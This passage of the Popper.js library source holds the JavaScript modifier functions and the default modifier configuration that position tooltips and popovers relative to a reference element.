data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n  // compute reference element offsets\n  var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n  var x = options.x,\n      y = options.y;\n  var popper = data.offsets.popper;\n\n  // Remove this legacy support in Popper.js v2\n\n  var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 'applyStyle';\n  }).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n  }\n  var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n  var offsetParent = getOffsetParent(data.instance.popper);\n  var offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  var styles = {\n    position: popper.position\n  };\n\n  // floor sides to avoid blurry text\n  var offsets = {\n    left: Math.floor(popper.left),\n    top: Math.floor(popper.top),\n    bottom: Math.floor(popper.bottom),\n    right: Math.floor(popper.right)\n  };\n\n  var sideA = x === 'bottom' ? 'top' : 'bottom';\n  var sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  var prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  var left = void 0,\n      top = void 0;\n  if (sideA === 'bottom') {\n    top = -offsetParentRect.height + offsets.bottom;\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    left = -offsetParentRect.width + offsets.right;\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    var invertTop = sideA === 'bottom' ? -1 : 1;\n    var invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = sideA + ', ' + sideB;\n  }\n\n  // Attributes\n  var attributes = {\n    'x-placement': data.placement\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = _extends({}, attributes, data.attributes);\n  data.styles = _extends({}, styles, data.styles);\n  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n  return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n  var requesting = find(modifiers, function (_ref) {\n    var name = _ref.name;\n    return name === requestingName;\n  });\n\n  var isRequired = !!requesting && modifiers.some(function (modifier) {\n    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n  });\n\n  if (!isRequired) {\n    var _requesting = '`' + requestingName + '`';\n    var requested = '`' + requestedName + '`';\n    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n  }\n  return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n  var _data$offsets$arrow;\n\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  var arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn('WARNING: `arrow.element` must be child of its popper element!');\n      return data;\n    }\n  }\n\n  var placement = data.placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  var len = isVertical ? 'height' : 'width';\n  var sideCapitalized = isVertical ? 'Top' : 'Left';\n  var side = sideCapitalized.toLowerCase();\n  var altSide = isVertical ? 'left' : 'top';\n  var opSide = isVertical ? 'bottom' : 'right';\n  var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjuction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  var css = getStyleComputedProperty(data.instance.popper);\n  var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);\n  var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);\n  var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);\n\n  return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-right` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n  var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n  var index = validPlacements.indexOf(placement);\n  var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);\n\n  var placement = data.placement.split('-')[0];\n  var placementOpposite = getOppositePlacement(placement);\n  var variation = data.placement.split('-')[1] || '';\n\n  var flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach(function (step, index) {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    var popperOffsets = data.offsets.popper;\n    var refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    var floor = Math.floor;\n    var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n    var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n    // flip the variation if required\n    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var placement = data.placement.split('-')[0];\n  var floor = Math.floor;\n  var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  var side = isVertical ? 'right' : 'bottom';\n  var opSide = isVertical ? 'left' : 'top';\n  var measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  var value = +split[1];\n  var unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    var element = void 0;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    var rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    var size = void 0;\n    if (unit === 'vh') {\n      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n    } else {\n      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n  var offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n    return frag.trim();\n  });\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  var divider = fragments.indexOf(find(fragments, function (frag) {\n    return frag.search(/,|\\s/) !== -1;\n  }));\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  var splitRegex = /\\s*,\\s*|\\s+/;\n  var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map(function (op, index) {\n    // Most of the units rely on the orientation of the popper\n    var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n    var mergeWithPrevious = false;\n    return op\n    // This aggregates any `+` or `-` sign that aren't considered operators\n    // e.g.: 10 + +5 => [10, +, +5]\n    .reduce(function (a, b) {\n      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n        a[a.length - 1] = b;\n        mergeWithPrevious = true;\n        return a;\n      } else if (mergeWithPrevious) {\n        a[a.length - 1] += b;\n        mergeWithPrevious = false;\n        return a;\n      } else {\n        return a.concat(b);\n      }\n    }, [])\n    // Here we convert the string values into number values (in px)\n    .map(function (str) {\n      return toValue(str, measurement, popperOffsets, referenceOffsets);\n    });\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach(function (op, index) {\n    op.forEach(function (frag, index2) {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n  var offset = _ref.offset;\n  var placement = data.placement,\n      _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var basePlacement = placement.split('-')[0];\n\n  var offsets = void 0;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n  var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);\n  options.boundaries = boundaries;\n\n  var order = options.priority;\n  var popper = data.offsets.popper;\n\n  var check = {\n    primary: function primary(placement) {\n      var value = popper[placement];\n      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return defineProperty({}, placement, value);\n    },\n    secondary: function secondary(placement) {\n      var mainSide = placement === 'right' ? 'left' : 'top';\n      var value = popper[mainSide];\n      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n      }\n      return defineProperty({}, mainSide, value);\n    }\n  };\n\n  order.forEach(function (placement) {\n    var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = _extends({}, popper, check[side](placement));\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    var _data$offsets = data.offsets,\n        reference = _data$offsets.reference,\n        popper = _data$offsets.popper;\n\n    var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    var side = isVertical ? 'left' : 'top';\n    var measurement = isVertical ? 'width' : 'height';\n\n    var shiftOffsets = {\n      start: defineProperty({}, side, reference[side]),\n      end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n    };\n\n    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  var refRect = data.offsets.reference;\n  var bound = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 'preventOverflow';\n  }).boundaries;\n\n  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unitless, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the height.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * An scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper this makes sure the popper has always a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier, can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent'\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near eachothers\n   * without leaving any gap between the two. Expecially useful when the arrow is\n   * enabled and you want to assure it to point to its reference element.\n   * It cares only about the first axis, you can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjuction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]'\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations).\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position,\n     * the popper will never be placed outside of the defined boundaries\n     * (except if keepTogether is enabled)\n     */\n    boundariesElement: 'viewport'\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n   